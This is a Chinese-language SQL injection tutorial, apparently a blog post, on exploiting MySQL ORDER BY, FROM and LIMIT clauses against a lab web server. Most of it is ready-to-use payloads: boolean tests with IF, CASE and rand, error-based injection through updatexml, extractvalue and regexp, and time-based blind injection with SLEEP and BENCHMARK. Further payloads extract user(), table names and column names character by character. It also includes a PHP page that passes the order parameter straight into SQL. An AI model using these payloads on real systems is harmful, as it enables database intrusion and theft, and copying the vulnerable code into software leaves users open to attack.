order by 注入
这是一种特殊的注入 sql语句为 select from admin order by $id 或者"select from goods order by $_GET['order']"我们一般用order by 来判断他的列数,其实他就是一个依照第几个列来排序的过程。
order by注入是不能 直接使用and 1=1 来判断的,他需要用到条件语句。
Copy mysql> select * from admin order by id;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | cdmin | bdmin |
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
mysql> select * from admin order by username;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | admin | ddmin |
| 3 | bdmin | fdmin |
| 1 | cdmin | bdmin |
+------+----------+----------+
3 rows in set (0.00 sec)
进一步构造payload 前面的判断并不是绝对的,我们需要构造出类似and 1=1、and 1=2的payload以便于注入出数据
Copy http://192.168.239.2:81/?order=IF(1=1,name,price) 通过name字段排序
http://192.168.239.2:81/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过price字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,price) 通过name字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,name) 通过price字段排序
可以观测到排序的结果不一样
Copy http://192.168.239.2:81/?order=rand(1=1)
http://192.168.239.2:81/?order=rand(1=2)
利用报错 在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,如下用IF语句为例
返回多条记录
Copy http://192.168.239.2:81/?order=IF(1=1,1,(select+1+union+select+2)) 正确
http://192.168.239.2:81/?order=IF(1=2,1,(select+1+union+select+2)) 错误
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误
利用regexp
Copy http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
利用updatexml
Copy http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1) 正确
http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 错误
利用extractvalue
Copy http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确
http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 错误
基于时间的盲注、 注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击
Copy /?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
数据猜解 以猜解user()即root@localhost为例子,由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及left和right可以精准分割出每一位子串。然后就是比较操作了可以利用=,like,regexp等。这里要注意like是不区分大小写
通过下可以得知user()第一位为r,ascii码的16进制为0x72
http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00 )) 正确 http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00 )) 错误 猜解当前数据的表名
Copy /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
猜解指定表名中的列名
Copy /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
测试源码:
Copy error_reporting ( 0 ) ;
session_start () ;
mysql_connect ( "127.0.0.1" , "root" , "root" ) or die ( "Database connection failed " );
mysql_select_db ( "sqlidemo" ) or die ( "Select database failed" );
$order = $_GET[ 'order' ] ? $_GET[ 'order' ] : 'name' ;
$sql = "select id,name,price from goods order by $order" ;
$result = mysql_query ( $sql ) ;
$reslist = array ();
while ($row = mysql_fetch_array ( $result , MYSQL_ASSOC ) )
{
array_push ( $reslist , $row ) ;
}
echo json_encode ( $reslist ) ;
From
from 后面的注入比较少 还是提一下
select * from $id;
可以结合 order by 来注入
可以使用联合注入来注入
Copy mysql> select * from admin union select 1,user(),3;
+------+----------------+----------+
| id | username | password |
+------+----------------+----------+
| 3 | bdmin | fdmin |
| 2 | admin | ddmin |
| 1 | cdmin | bdmin |
| 1 | root@localhost | 3 |
+------+----------------+----------+
4 rows in set (0.02 sec)
方法跟普通注入一样的一样自己加上表名
limit
这种注入也不是很常见,依照 https://rateip.com/blog/sql-injections-in-mysql-limit-clause/ 来提一下
Copy mysql> select * from admin where id >0 limit 0,1 $id
如何利用呢 大佬们已经给出方法了 用 PROCEDURE ANALYSE 配合报错注入,所以多看文档,如果你想提升下自己的水平
Copy mysql> select * from admin where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
ERROR:
No query specified
这里延时只能使用BENCHMARK() 如同
Copy select * from admin where id >0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);